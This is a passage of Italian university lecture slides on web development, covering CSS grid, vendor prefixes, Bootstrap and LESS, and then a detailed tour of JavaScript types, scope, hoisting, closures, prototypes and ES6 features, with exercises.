→ dalla riga orizzontale X alla YProblema: è difficile lavorare con i numeri, si può fare confusione (anche se in realtà potrei dare dei nomi alle linee)
Uso delle descrizioni testuali per dare dei nomi alle celle del grid container...
main{
display: grid;
grid-template-columns: 2fr 1fr 1fr;
grid-template-rows: 1fr 1fr 1fr;
grid-template-areas:
"titolo titolo titolo"
"principale testata testata"
"principale laterale laterale";
}
...e nei grid item specifico il nome
h1{
grid-area: titolo;
}
E la magia avviene con le media query...
@media screen and (max-width: 700px) {
main {
grid-template-areas:
"titolo titolo titolo"
"testata testata testata"
"principale principale laterale";
}
}
Alcuni dettagli:
@supports (grid-area: auto){...}
Operativamente:
Alcuni riferimenti utili:
Ma funziona sempre?
NO!
E non solo lui, il problema si applica anche ad altro (es: column
)
Soluzione: prefissi
Per specifica, le property non inizieranno mai con
.foo {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-orient: horizontal;
-moz-box-orient: horizontal;
-webkit-box-direction: normal;
-moz-box-direction: normal;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
}
Ma devo sempre fare tutto a mano?
No! Posso farmi aiutare
Una riga per domarli, e dal buio liberarli...
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/[...]" >
Opzionale: un po' di JavaScript
Conviene leggerne la guida ufficiale
Strumento di sviluppo per CSS scritto in JavaScript usabile
<link rel="stylesheet/less" type="text/css" href="styles.less" />
<script src="less.js" type="text/javascript"></script>
@rosso: #FF0000; a {color: @rosso}
→ a {color: #ff0000}
div{ width: 200px; p{ font-size: 20px;}}
→ div{ width: 200px;}
→ div p{ font-size: 20px;}
.mixin{ color: red; font-weight:bold; } p{ font-size:18px; .mixin; }
→ .mixin{color: red; font-weight:bold;}
→ p{font-size: 18px; color: red; font-weight:bold;}
.mixin(){ color: red; font-weight:bold; } p{ font-size:18px; .mixin; }
→ p{font-size: 18px; color: red; font-weight:bold;}
.mixin(@param){ color: @param; font-weight:bold; } p{ font-size:18px; .mixin(red); }
Usando il documento HTML dell'esercizio HTML-1, scrivere un CSS che faccia rappresentare il documento come un codice miniato medioevale.
Riprendere il documento HTML: il contenuto di ogni section
deve essere invisibile di default e diventare visibile in qualche condizione legata alle azioni dell'utente.
Ad esempio:
solo HTML e CSS
Ancora qualche modifica:
section
→ @page
;
qualche aiuto solo HTML e CSS
Posso chiedere al browser di eseguire del codice compilato (o di una VM)
Linguaggio usato per descrivere il contenuto e la struttura dell'informazione di un documento web
In realtà l'obiettivo di HTML è esplicitamente più ampio:
This specification is limited to providing a semantic-level markup language and associated semantic-level scripting APIs for authoring accessible pages on the Web ranging from static documents to dynamic applications.
Esecuzione di codice dell'autore nel contesto del documento web
Codice? → JavaScript
... ma non solo
Durante l'esecuzione, il codice può accedere al DOM tree, quindi all'informazione dentro al documento
Ma anche a risorse esterne (la finestra, lo storage, ...)
Documento HTML → DOM tree → rappresentazione
Manipolare il DOM implica cambiare la rappresentazione, in tempo reale!
La specifica descrive anche l'interfaccia dei vari elementi:
DOM interface:[NamedConstructor=Image(), NamedConstructor=Image(in unsigned long width), NamedConstructor=Image(in unsigned long width, in unsigned long height)] interface HTMLImageElement : HTMLElement { attribute DOMString alt; attribute DOMString src; attribute DOMString useMap; attribute boolean isMap; attribute unsigned long width; attribute unsigned long height; readonly attribute unsigned long naturalWidth; readonly attribute unsigned long naturalHeight; readonly attribute boolean complete; };
È la documentazione dell'interfaccia DOM dell'elemento img
Nota:
→ non hanno un quando...
Viene eseguito quando viene trovato
Il browser legge (fa il parsing) il documento HTML, quando trova lo script lo esegue
Due metodi principali:
<script type="text/javascript">
/* fai qualcosa */
</script>
<script type="text/javascript" src="..."></script>
src
e inizio dell'esecuzionePer gli script esterni, si può specificare l'attributo defer
:
<script type="text/javascript" src="..." defer></script>
→ l'esecuzione viene ritardata a quando il browser è arrivato in fondo al documento
per gli embedded script, vedere onload
defer
o non defer
?Qual è la differenza?
Il codice può accedere al DOM...
↓
HTML letto a metà → DOM completo a metà
Associazione di un pezzo di codice (funzione) ad un evento
c'è un click su questo bottone → fai queste cose
il browser è arrivato in fondo al documento → fai queste cose
L'associazione si può definire:
<p onclick="/* pezzo di codice */">click me!</p>
Cosa impariamo?
Nel frattempo:
Engine = coppia (VM, dialetto)
Ce ne sono tanti:
Sofisticati: ad esempio, JIT
Non la vediamo nel dettaglio
Alcune peculiarità
boolean
, break
, delete
, extends
, static
, ..., molte non utilizzateVedremo, man mano, altro
5 tipi di base immutabili:
null
undefined
Tutti gli altri valori sono oggetti (mutabili): array, funzioni, regex e oggetti.
typeof
typeof x
è una stringa che descrive il tipo di x
typeof 1 // → "number" typeof "a" // → "string" typeof true // → "boolean" typeof {a: 1} // → "object" typeof undefined // → "undefined" typeof null // → ???
typeof
: null
typeof null // → "object"!!!
Ma perché???
In memoria: 32 bit per valore
Null
: dato = 0x00]typeof
: null
typeof null // → "object"!!!
Decodifica valore (codice originale):
if (JSVAL_IS_UNDEFINED(v)) {
type = JSTYPE_UNDEFINED;
} else if (JSVAL_IS_OBJECT(v)) {
obj = JSVAL_TO_OBJECT(v);
if (obj [..] clasp == js_FunctionClass)) {
type = JSTYPE_FUNCTION;
} else {
type = JSTYPE_OBJECT;
}
} else if (JSVAL_IS_NUMBER(v)) {
type = JSTYPE_NUMBER;
} else if (JSVAL_IS_STRING(v)) {
type = JSTYPE_STRING;
} else if (JSVAL_IS_BOOLEAN(v)) {
type = JSTYPE_BOOLEAN;
}
return type;
typeof
typeof x
è una stringa che descrive il tipo di x
typeof 1 // → "number" typeof "a" // → "string" typeof true // → "boolean" typeof {a: 1} // → "object" typeof undefined // → "undefined" typeof null // → "object"!!!
typeof typeof 44
?
C'è una sesta possibilità: vedremo.
Sarebbe stato meglio se typeof null
fosse "null"
.
typeof
e sintassiSintassi rilassata...
Quali e perché funzionano?
typeof 1
?typeof(1)
?typeof (1)
?typeof
e sintassiSintassi rilassata...
Quali e perché funzionano?
typeof 1
?typeof(1)
?typeof (1)
?typeof
è un operatore, e quanto messo tra parentesi è una espressione da valutare.
Numeri, stringhe e booleani sono object-like: è possibile accedere ai metodi
(22).toExponential() \\ → "2.2e+1"
"job".charAt(2) \\ → "b"
true.toLocaleString() \\ → "true"
ma sono immutabili!
C'è un solo tipo di numero: float (IEEE 754 Double Precision)
Ricordate i problemi che comportano?
C'è un solo tipo di numero: float (IEEE 754 Double Precision)
0.1 + 0.2 == 0.3 /* → false*/
9999999999999999 == 10000000000000000 /* → true*/
null
vs undefined
Un identificatore riferisce:
undefined
se non gli è stato associato un valore (diverso da undefined
)null
solo se è stato associato a null
Perché esistono entrambi? C'è un perché?
Un oggetto è una collezione mutabile di proprietà.
Collezione di coppie chiave-valore separate da virgole.
var simba = { name: "simba", animalType: "dog", legs: 4, "sound": "bark", collar: { material: "leather", size: "M" } };
"animalType"
, "dog"
è una proprietà: "animalType"
è il nome (tipo stringa), "dog"
è il valore (tipo stringa).
Il valore della proprietà con nome "collar"
è di tipo oggetto.
var
statementvar simba = {
name: "simba",
animalType: "dog",
legs: 4,
"sound": "bark"
}
simba
visibile nello scope.Qual è lo scope? Vedremo.
simba.name
simba["name"]
Entrambe le espressioni accedono alla proprietà name
dell'oggetto riferito da simba
.
La seconda è necessaria se il nome della proprietà ha certe caratteritiche: es. simba["è bello"]
.
Se simba
riferisce undefined
o null
, allora TypeError
exception.
.
e []
sono operatori di refinement
Gli spazi vanno a piacere:
simba.name
simba["name"]
simba .name
simba. name
simba . name
simba ["name"]
Sono tutti equivalenti e sintatticamente corretti.
Ma stilisticamente no...
var name = simba.name;
Se non è definito, vale undefined
simba.nickname = "Cane bianco";
Se non è definito, aggiunge, altrimenti modifica.
delete simba.nickname;
Gli oggetti sono passati sempre per riferimento.
var simba = {
name: "simba",
collar: {
material: "leather",
size: "M"
}
};
var whitedog = simba;
var c = whitedog.collar;
delete whitedog.collar;
whitedog.collar
? → undefined
simba.collar
? → undefined
c
? → Object {material: "leather", size: "M"}
var simba = { name: "simba", legs: 4 }; for (var propName in simba) { console.log("simba."+propName+" = "+simba[propName]+", of type "+(typeof simba[propName])); }
Una funzione è un oggetto con due proprietà nascoste in più:
typeof f
restituisce "function"
se f
è una funzione.
Ecco il sesto elemento
var sum = function(a, b) {
var c = a+b;
return c;
}
sum(2,3); /*→ 5*/
sum
riferisce un oggetto funzione, di cui la sequenza dei due statement (linee 2 e 3) è il body.
var sum = function(a, b) {
return a+b;
}
sum.name /* → "" (o il nome della variabile)*/
Funzione anonima, sum
riferisce la funzione.
Questa è l'opzione raccomandata.
"Perché" c'è una proprietà name? Chi l'ha messa? Vedremo.
var sum = function summation(a, b) {
return a+b;
}
sum.name /* → "summation"*/
Funzione con nome, sum
riferisce la funzione, summation
non è un identificatore definito.
Il nome è comunque utile:
function summation(a, b) {
return a+b;
}
summation.name /* → "summation"*/
Funzione con nome, summation
è definito e riferisce la funzione.
Le funzioni sono oggetti, cioè collezioni mutabili di proprietà!
var sum = function(a, b) {
return a+b;
}
sum.p = "ciao";
Lo scope è l'ambito nel quale sono definiti (visibili) gli identificatori.
Lo scope in JavaScript è il body della funzione.
nonostante la sintassi a blocchi (con le graffe), lo scope non è il blocco!
Lo scope in JavaScript è il body della funzione.
var maxSumProd = function(a, b) {
var s = a+b; /* s is defined */
var p = a*b; /* s, p are defined */
for (var i = 0; i<4; i++) {
var c = i; /* s, p, i, c are defined */
}
if (s > p) { /* s, p, i, c are defined */
return s;
} else {
return p;
}
};
Diverso da Java!
Gli scope sono gerarchici: nello scope di una funzione sono visibili gli identificatori (tranne this
di cui parleremo dopo e arguments
) definiti nello scope in cui la funzione è definita.
var fun = function() {
var a = 1;
var b = 2;
var innerFun = function() {
var c = a+b;
return c;
};
return innerFun();
};
var
definisce una variabile: se omesso, si sottointende lo scope globale
var a;
→ a
è definito (ma non cambia il riferimento) nello scope "locale"var a = 0;
→ a
è definito e riferisce 0 nello scope "locale"a = 0;
a
era definito in uno scope "padre", allora ora riferisce 0Attenzione!
var calculateTopTenCosts = function() {
var sum = 0;
for(top = 0; top < 10; top++) {
sum += getRankCosts(top);
}
return sum;
};
Attenzione!
var calculateTopTenCosts = function() {
var sum = 0;
for(top = 0; top < 10; top++) {
sum += getRankCosts(top);
}
return sum;
};
var
prima della definizione di top
nel ciclotop
è una variabile globale (esecuzione in browser): l'oggetto window più elevatotop
non è un numero)var
inserisce la variabile nello scope della funzione.
E se ne volessi uno a livello di blocco?
Con EcmaScript 6 si può: let
Ci sono quattro Function Invocation Patterns:
Cosa cambia?
this
arguments
this
varia in base all'invocation patternSe e solo se:
this
è l'oggetto in cui è contenutaundefined
var o = {
n: 3,
sum: function(m) {
return this.n+m;
},
dec: function(m) {
return n-m;
}
};
o.sum(2)
? → 5
o.dec(1)
? → errore! n undefined
var f = o.sum; f(2)
? → NaN
var f = o.sum(); f(2)
? → f is not a function
this
this
non è opzionale!
a parità di semantica.
Quando la funzione non è la proprietà di un oggetto e viene quindi invocata direttamente:
var sum = add(3, 4); // sum is 7
Gli argomenti: come prima.
this
è l'oggetto globale.Window
del DOMthis
dell'eventuale outer function!Se fosse fatto bene, this
sarebbe quello della funzione esterna...
var myObject = {
value: 1,
double: function() {
var helper = function() {
this.value = this.value * 2;
};
helper();
}
}
console.log(myObject.value); /* → 1 */
myObject.double(); /* Method Invocation */
console.log(myObject.value); /* → ?? */
Se fosse fatto bene, this
sarebbe quello della funzione esterna...
var myObject = {
value: 1,
double: function() {
var helper = function() {
this.value = this.value * 2;
helper(); /*Function Invocation*/
}
}
console.log(myObject.value); /* → 1*/
myObject.double(); /*Method Invocation*/
console.log(myObject.value); /* → 1*/
Workaround
var myObject = {
value: 1,
double: function() {
var that = this;
var helper = function() {
that.value = that.value * 2;
};
helper(); /*Function Invocation*/
}
}
console.log(myObject.value); /* → 1*/
myObject.double(); /*Method Invocation*/
console.log(myObject.value); /* → 2 */
Ogni funzione ha anche un metodo apply
: quando invocato, il primo parametro sarà this
e il secondo sarà arguments
.
var sum = function(a, b) {
return a+b;
};
sum.apply(undefined, [2, 3]); /* → 5*/
[2, 3]
è un array literal, vedremo.
var myObject = {
value: 1,
double: function() {
var helper = function() {
this.value = this.value * 2;
};
helper.apply(this); /*Apply Invocation*/
}
}
console.log(myObject.value); /* → 1 */
myObject.double(); /*Method Invocation*/
console.log(myObject.value); /* → 2 */
new
)Se una funzione è invocata premettendo la keyword new
allora:
this
è un nuovo oggettothis
Il nuovo oggetto ha un link nascosto al valore della proprietà prototype
della funzione.
new
)Assomiglia ad un costruttore, ma si può usare anche a sproposito.
Per convenzione (e per evitare di usarle a sproposito) le funzioni pensate come costruttori hanno il nome che inizia con maiuscola.
var Dog = function(name, size) {
this.name = name;
this.size = size;
this.sound = "bark";
this.makeSound = function() {
return this.sound;
}
};
var whiteDog = new Dog("Simba", "M");
var brownDog = new Dog("Gass", "M");
var Dog = function(name, size) {
this.name = name;
this.size = size;
this.sound = "bark";
this.makeSound = function() {
return this.sound;
}
};
var whiteDog = new Dog("Simba", "M");
var brownDog = new Dog("Gass", "M");
this
dopo la riga 3? → Dog {name: "Gass", size: "M"}
this
dopo la riga 5? → Dog {name: "Gass", size: "M", sound: "bark", makeSound: function}
var Dog = function(name, size) {
this.name = name;
this.size = size;
this.sound = "bark";
this.makeSound = function() {
return this.sound;
}
};
var weirdDog = Dog("Simba", "M");
weirdDog
? → Undefined!
arguments
arguments
è un (quasi) array
arguments
può contenere più parametri di quelli previsti dalla funzione stessa:
function myConcat(separator) {
var result = '';
var i;
for (i = 1; i < arguments.length; i++) {
result += arguments[i] + separator;
}
return result;
}
myConcat(', ', 'red', 'orange', 'blue');
//→ "red, orange, blue, "
arguments
I rispettivi valori sono legati:
var sum = function(a, b) {
var c = a+b;
return c;
}
a
e arguments[0]
hanno sempre lo stesso valore.
arguments
var surpriseMe = function (a) {
console.log(a+" - "+arguments[0]);
a = 3;
console.log(a+" - "+arguments[0]);
}
surpriseMe(2)
?
arguments
var surpriseMe = function (a) {
console.log(a+" - "+arguments[0]);
a = 3;
console.log(a+" - "+arguments[0]);
}
surpriseMe(2)
?
2 - 2 3 - 3
arguments
For non-strict mode functions the array index (defined in 15.4) named data properties of an arguments object whose numeric name values are less than the number of formal parameters of the corresponding function object initially share their values with the corresponding argument bindings in the function’s execution context. This means that changing the property changes the corresponding value of the argument binding and vice-versa. This correspondence is broken if such a property is deleted and then redefined or if the property is changed into an accessor property. For strict mode functions, the values of the arguments object’s properties are simply a copy of the arguments passed to the function and there is no dynamic linkage between the property values and the formal parameter values.
Stranezze di Javascript
ma, per fortuna, c'è stackoverflow
Una volta si faceva a mano:
function multiply(a, b) {
b = typeof b !== 'undefined' ? b : 1;
return a * b;
}
...ora si può fare nell'intestazione (ECMAScript 2015)
function multiply(a, b = 1) {
return a * b;
}
Aggrega più parametri in un array:
function myConcat(separator, ...values) {
var result = '';
var i;
for (i = 0; i < values.length; i++) {
result += values[i] + separator;
}
return result;
}
myConcat(', ', 'red', 'orange', 'blue');
//→ "red, orange, blue, "
Le funzioni hanno sempre un valore di ritorno.
undefined
.L'esecuzione (ovviamente) termina al raggiungimento del return statement.
return
e spaziLa sintassi del return statement è "poco tollerante" agli spazi
var f = function() {
return
{word: "ciao"};
}
è equivalente a
var f = function() {
return undefined;
{word: "ciao"};
}
...
return
e spaziNon è equivalente a
var f = function() {
return {word: "ciao"};
}
che, a sua volta, è equivalente a
var f = function() {
return {
word: "ciao"
};
}
Per convenzione: tutti i var
statement vanno all'inizio del body:
var fun = function() {
var a, b, s;
a = 1;
b = 2;
var innerFun = function() {
var c;
c = a+b;
return c;
}
s = innerFun();
return s;
};
var fun = function() {
var a = 1;
var innerFun = function() {
console.log(a);
};
innerFun();
};
fun() /* stampa 1: è cosa buona e giusta*/
var fun = function() {
var a = 1;
var innerFun = function() {
console.log(a);
var a = 2;
};
innerFun();
};
fun() /* stampa undefined!!!*/
Perché?
Internamente, JavaScript mette tutti i var
all'inizio del body:
var fun = function() {
var a, innerFun;
a = 1;
innerFun = function() {
var a;
console.log(a); /* a in scope locale, è undefined */
a = 2;
};
innerFun();
};
fun() /* stampa undefined*/
Perché?
Perché?
Colpa dell'interprete, che compie due passi:
For completeness, let’s mention that actually at the implementation level things are a little more complex. There are two stages of the code handling, where variables, function declarations, and formal parameters are created at the first stage, which is the stage of parsing and entering the context. In the second stage, the stage of runtime code execution, function expressions and unqualified identifiers (undeclared variables) are created. But for practical purposes, we can adopt the concept of hoisting, which is actually not defined by ECMAScript standard but is commonly used to describe the behavior.
In realtà le specifiche non dicono nulla!
Attenzione: non si applica alle variabili definite con let
Si applica anche alle funzioni, se definite direttamente:
function esempioOK() {
console.log(foo); /* → codice della funzione */
foo(); /* → "bar" */
function foo() {
console.log('bar');
};
};
Si applica anche alle funzioni, se definite direttamente:
function esempioNonOK() {
console.log(foo); /* → undefined */
foo(); /* → TypeError: foo is not a function */
var foo = function() {
console.log('bar2');
};
}
Perché?
foo
Come facciamo a esporre delle funzionalità ma non le variabili interne?
Prendiamo un contatore:
var counter = 0;
function add() {
counter += 1;
}
add();
add();
add();
add()
può modificare counter
E se mettessi la variabile nella funzione?
var counter = 0;
function add() {
var counter;
counter += 1;
}
add();
add();
add();
counter
vale 0.E se togliessi la variabile globale, ritornando il valore?
function add() {
var counter;
counter += 1;
return counter;
}
add();
add();
add();
counter
vale 1.Proviamo ad annidiare le funzioni:
function add() {
var counter = 0;
function plus() {counter += 1;}
plus();
return counter;
}
plus
ha accesso allo scopo di ciò che la contiene, quindi anche a counter
.plus()
?Funzione che si auto-invoca:
var add = (function () {
var counter = 0;
return function () {
counter += 1;
return counter;
}
})();
add(); /* 1 */
add(); /* 2 */
add(); /* 3 */
counter
? Novar add = (function () {
var counter = 0;
return function () {
counter += 1;
return counter;
}
})();
add(); add(); add();
add
contiene il risultato di una funzione che si auto-invocaadd
è una funzione → ha accesso allo scope che la contiene → ha accesso a counter
, che esiste ancoracounter
Si possono generare anche closure più evolute:
var counter = function() {
var n;
n = 0;
return {
inc: function() {
n = n+1;
return n;
}
};
}();
counter.inc();
inc
è una closuren
è una enclosed variableAlcuni operatori si applicano anche a tipi inattesi: è opportuno sapere come vanno le cose per evitare sorprese.
Operatore +
:
spesso fonte di spiacevoli inconvenienti quando si legge un numero dal DOM
Ogni valore in JS ha anche un valore booleano implicito:
Possiamo usare una funzione per testare:
function truthyOrFalsy(a) {
return a ? "truthy" : "falsy";
}
truthyOrFalsy(0)
→ falsytruthyOrFalsy(10 == 5)
→ falsytruthyOrFalsy(1)
→ truthytruthyOrFalsy(-1)
→ truthytruthyOrFalsy({})
→ truthyCi sono dei valori truthy che sono == false
"0" == false
:
==
→ converte la stringa in numero0 == false
"0" == 0
"0" == false
Operatore ===
:
Operatore ==
: tenta la conversione
false == undefined /* false */
false == null /* false */
null == undefined /* true */
Addio transitività dell'uguaglianza: meglio === che == !
Un array è un oggetto che:
Gli array sono oggetti
var a = [2, 3, "pippo"];
var a = new Array(2, 3, "pippo"); /* → alternativo */
a[0]; /* → 2 */
a[2]; /* → "pippo" */
a["2"]; /* → "pippo" */
a.length; /* → 3 */
a[3]; /* → undefined */
a.propertyAggiunta = "sono un oggetto";
a.length; /* → 3*/
Altri metodi interessanti:
slice()
→ ne copia una fetta, splice()
→ rimuovere (e sostituire) elementi,length
≠ upper bound → posso superarlo!
var myArray = [];
myArray.length; /* → 0*/
myArray[10000] = "pippo";
myArray.length; /* → 10001*/
Aggiungere elementi:
numbers[numbers.length] = 'shi'; /*oppure...*/
numbers.push('go');
Assegnando un valore più piccolo a length
, gli elementi in coda vengono eliminati.
Posso togliere un elemento qualsiasi, ma si lascia un buco:
var a = [2, 3, 79];
a.length; /* → 3 */
delete a[1];
a.length; /* → 3 */
typeof(a[1]); /* → "undefined" */
...meglio usare il metodo splice
typeof (array)
→ "object"
Scriviamo una nostra funzione:
var is_array = function (value) {
return value &&
typeof value === 'object' &&
typeof value.length === 'number' &&
typeof value.splice === 'function' &&
!(value.propertyIsEnumerable('length'));
};
length
di tipo numerico?splice
?length
apparirebbe in un for ... in
?Attenzione...
[5, 12, 9, 2, 18, 1, 25].sort(); → [1, 12, 18, 2, 25, 5, 9]
Il comportamento standard è di ordinare alfabeticamente!
Dobbiamo specificare una funzione di sorting:
[5, 12, 9, 2, 18, 1, 25].sort(function(a, b){
return a - b;
});
Attenzione...
var a = [2, 3, 79];
for (var name in a){
console.log(name)
};
/*output: 0, 1, 2*/
Sto iterando le properties dell'oggetto, comprese quelle aggiunte da me (o da altri framework)!
Devo procedere alla vecchia:
var a = [2, 3, 79];
for (var i = 0; i < a.length; i += 1) {
console.log(a[i]);
}
/*output: 2, 3, 79*/
Oppure usando il metodo forEach
:
a.forEach(function(valore){
console.log(valore);
});
/*output: 2, 3, 79*/
A volte devo riusare calcoli già fatti...
var fibonacci = function (n) {
if (n < 2){
return n
} else {
return fibonacci(n - 1) + fibonacci(n - 2);
}
};
for (var i = 0; i <= 10; i += 1) {
console.log('// ' + i + ': ' + fibonacci(i));
}
Inefficiente: funzione richiamata 453 volte
Sfrutto la closure per memorizzare i risultati di una precedente elaborazione:
var fibonacci = (function() {
var memo = [0, 1];
var fib = function (n) {
var result = memo[n];
if (typeof result !== 'number') {
result = fib(n - 1) + fib(n - 2);
memo[n] = result;
}
return result;
};
return fib;
})();
Bene! fibonacci
richiamata solo 18 volte
Tradizionalmente (Java, C++, C#) ci sono due entità: classi e istanze.
Inoltre:
JavaScript è loosely-typed: ogni oggetto deriva da un altro oggetto da cui eredita le proprietà, detto prototype.
Come si realizza?
prototype
contenente l'oggetto da usare come prototipo nella Constructor invocation
in realtà è presente in ogni funzione; una funzione diventa Costruttore quando invocata con new
Il nuovo oggetto ha un link nascosto al valore della proprietà prototype
della funzione Costruttore: __proto__
undefined
public class Employee {
public String name;
public String dept;
public Employee () {
this("", "general");
}
public Employee (String name) {
this(name, "general");
}
public Employee (String name, String dept) {
this.name = name;
this.dept = dept;
}
}
function Employee(name="", dept="general") {
this.name = name;
this.dept = dept;
}
public class Engineer extends Employee {
public String machine;
public Engineer () {
this("");
}
public Engineer (String mach) {
dept = "engineering";
machine = mach;
}
}
function Engineer(mach = "") {
this.dept = 'engineering';
this.machine = mach;
}
Engineer.prototype = new Employee;
function Employee(name="", dept="general") {
this.name = name;
this.dept = dept;
}
function Engineer(mach = "") {
this.dept = 'engineering';
this.machine = mach;
}
Engineer.prototype = new Employee;
var luca = new Engineer("computer");
Quanto valgono:
luca.machine
→ "computer"luca.dept
→ "engineering"luca.name
→ ""Il prototipo di un oggetto è un oggetto, se
una proprietà (d)al prototipo, ciò influisce su tutti gli oggetti che hanno quel prototipo (tramite delegation)
...
Engineer.prototype = new Employee;
var luca = new Engineer("computer");
Employee.prototype.salary = 100;
luca.salary; /* → 100*/
Object
Function
Creare un oggetto come literal è equivalente a crearlo con constructor invocation di Object
var o = new Object();
è equivalente a
var o = {};
e l'oggetto può essere riempito dopo.
Object.prototype
è l'oggetto prototipo da cui entrambi derivano.
La creazione come literal è raccomandata
Per esempio, posso aggiungere proprietà read-only:
var o = new Object();
Object.defineProperty(o, "prop", {
value: "test",
writable: false
});
o.prop; /* → "test"*/
o.prop = "Ciao";
o.prop; /* → "test"*/
Creare una funzione come literal è equivalente a crearla con constructor invocation di Function
var f = new Function();
è equivalente a
var f = function(){};
ma la funzione non può essere riempita dopo (nel suo body).
Function.prototype
è l'oggetto da cui entrambi derivano (il prototype).
La creazione come literal è necessaria
var sum = function(a, b) {
return a+b;
};
sum.creator; /* → undefined*/
Function.prototype.creator = "Eric Medvet";
sum.creator; /* → Eric Medvet (delegation)*/
var prod = function(a, b) {
return a*b;
}
prod.creator; /* → Eric Medvet (delegation)*/
prod.creator = "Simba";
prod.creator; /* → Simba (no delegation)*/
sum.creator; /* → Eric Medvet*/
Object.create = function(o) {
var F = function () {};
F.prototype = o;
return new F();
};
var dog = {sound: "bark"};
var coloredDog = Object.create(dog);
coloredDog.sound; /* → bark*/
Object.create = function(o) {
var F = function () {};
F.prototype = o;
return new F();
};
Object
create
è invocata con argomento o
F
vuotao
new F()
(un nuovo oggetto con link nascosto alla proprietà prototype
della funzione creante, cioè o
)Object.create = function(o) {
...
};
Object
Augmenting di un tipo base (Object
)
Si può fare anche con stringhe, numeri, ecc...
String.reverse = function() {
...
};
non abusatene
Aggiungere funzinalità nuove alla libreria di sistema estendendola
Es: vogliamo aggiungere una funzione a String
che renda maiuscola la prima lettera
String.prototype.capitalize = function() {
return this[0].toUpperCase() + this.substr(1);
}
const capitalName = 'jacob'.capitalize(); /* → "Jacob" */
Sarebbe da evitare!
In caso ci fossero altre librerie che fanno la stessa cosa, cosa succederebbe?
In passato il problema si è già verificato: smooshgate
Libreria MooTools, molto usata, aveva aggiunto la funzione flatten
Array.prototype.flatten = function(){...}
... ma nel 2019 è stato introdotto flatten
in ECMAScript!
Object.prototype.version = "7.2.11";
"uh".version; /* → 7.2.11*/
Perché? "uh"
non è un primitivo String?
typeof true; /*"boolean"*/
typeof Boolean(true); /*"boolean"*/
typeof new Boolean(true); /*"object"*/
typeof (new Boolean(true)).valueOf(); /*"boolean"*/
typeof "abc"; /*"string"*/
typeof String("abc"); /*"string"*/
typeof new String("abc"); /*"object"*/
typeof (new String("abc")).valueOf(); /*"string"*/
typeof 123; /*"number"*/
typeof Number(123); /*"number"*/
typeof new Number(123); /*"object"*/
typeof (new Number(123)).valueOf(); /*"number"*/
Per eseguire "uh".version
viene generata un nuovo oggetto String (wrapper), usato solo per invocare la property e poi abbandonato al Garbage Collector.
Ma quindi posso aggiungere proprietà ai primitivi?
var primitive = "september";
primitive.vowels = 3;
primitive.vowels; /* → ??*/
Ma quindi posso aggiungere proprietà ai primitivi? NO!
var primitive = "september";
primitive.vowels = 3; /* → crea un nuovo wrapper:*/
(new String("september")).vowels = 3;
primitive.vowels; /*→ creo un wrapper per
leggere la property:*/
(new String("september")).vowels; /* → undefined*/
I wrapper tornano facilmente al tipo primitivo:
var Twelve = new Number(12);
var fifteen = Twelve + 3;
fifteen; /*15*/
typeof fifteen; /*"number" (primitive)*/
typeof Twelve; /*"object"; (still object)*/
Ma è pur sempre JavaScript:
if (new Boolean(false)) {
console.log("true");
} else{
console.log("false");
}
Output?
I wrapper tornano facilmente al tipo primitivo:
var Twelve = new Number(12);
var fifteen = Twelve + 3;
fifteen; /*15*/
typeof fifteen; /*"number" (primitive)*/
typeof Twelve; /*"object" (still object)*/
Ma è pur sempre JavaScript:
if (new Boolean(false)) {
console.log("true");
} else{
console.log("false");
}
Output? → "true", perché gli oggetti sono truthy.
Per i booleani, usare il valore: new Boolean(false).valueOf();
Creare una funzione JavaScript wordCounter
che restituisce una "mappa" <parola, frequenza> calcolata dalla stringa ricevuta in input.
wordCounter("la mamma di mio figlio è anche mamma di mia figlia"); /* → <"mamma", 2/11>, <"figlio", 1/11>, ...*/
vedere String.split()
E se ci fossero segni di punteggiatura? Vedere espressioni regolari e literal corrispondente.
Creare una funzione JavaScript tale per cui.
var f = ...;
f(1) /* → 1*/
f()(3) /* → 3*/
f()()()()("a") /* → "a"*/
f()...()("x") /* → "x"*/
var g = f;
f = 33;
g()()()()(f) /* → 33*/
Alcune cose le abbiamo già viste:
const
, da usarsi come predefinitolet
, da usarsi se il valore può cambiarefunction a(par1 = 1){...
Old style:
var nome = "Luca";
console.log("Ciao " + nome + ", come va?");
ES6: backtick!
var nome = "Luca";
console.log(`Ciao ${nome}, come va?`)
Old style:
function creaProdotto(prezzo, quantita){
return {
prezzo: prezzo,
quantita: quantita
};
};
ES6: posso omettere i nomi
function creaProdotto(prezzo, quantita){
return {
prezzo,
quantita
};
};
Old style:
var prodotto = {
descr: "computer",
prezzo: 10
};
var prezzo = prodotto.prezzo;
var descr = prodotto.descr;
ES6: {}
const prodotto = {
descr: "computer",
prezzo: 10
};
const {prezzo, descr} = prodotto;
Funzioni anonime con alcuni vantaggi:
this
Old style:
var x = function(parametri){...}
ES6: =>
const x = (parametri) => {...}
()
sono opzionali se ho un solo parametro (non se ne ho 0 o più)Sappiamo usare la constructor invocation...
function Persona(nome, anni){
this.nome = nome;
this.anni = anni;
};
var luca = new Persona("Luca", 21);
...e anche come funziona l'ereditarietà (scomoda)
Soluzione ES6: class
class XYZ{
constructor(par1, ...){
this.par1 = par1;
}
}
Attenzione:
Sintassi alternative:
var XYZ = class {...}
var XYZ = class XYZ{...}
Ereditarietà
class X extends Y{
constructor(par1, par2, ...){
super(par1);
...
}
}
Voilà!!
...ovvero, gestire operazioni asincrone.
"Quando hai finito di inviare il messaggio dammi una conferma, ma intanto lasciami lavorare..."Prima: design pattern che risolva il problema
function inviaMessaggio(msg, callback){
function doAsync{ /*operazione asincrona*/
boolean success = contactServerAndSendData(msg);
callback(success);
};
doAsync();
}
inviaMessaggio("Pippo", function(risultato){
console.log(risultato);
});
...ovvero, gestire operazioni asincrone.
"Quando hai finito di inviare il messaggio dammi una conferma, ma intanto lasciami lavorare..."Prima: design pattern che risolva il problema
ES6: Promise, oggetto preconfezionato che rappresenta il completamento (o fallimento) di una operazione asincrona.
var promiseObj = new Promise( tetherFunction );
TetherFunction: funzione eseguita dal costruttore con due parametri
Questa funzione esegue l'operazione asincrona.
...ovvero, gestire operazioni asincrone.
"Quando hai finito di inviare il messaggio dammi una conferma, ma intanto lasciami lavorare..."Prima: design pattern che risolva il problema
ES6: Promise, oggetto preconfezionato che rappresenta il completamento (o fallimento) di una operazione asincrona.
var promiseObj = new Promise( tetherFunction );
promiseObj.then(
/*funzione eseguita se tutto ok*/
).catch(
/*funzione eseguita se errore*/
);
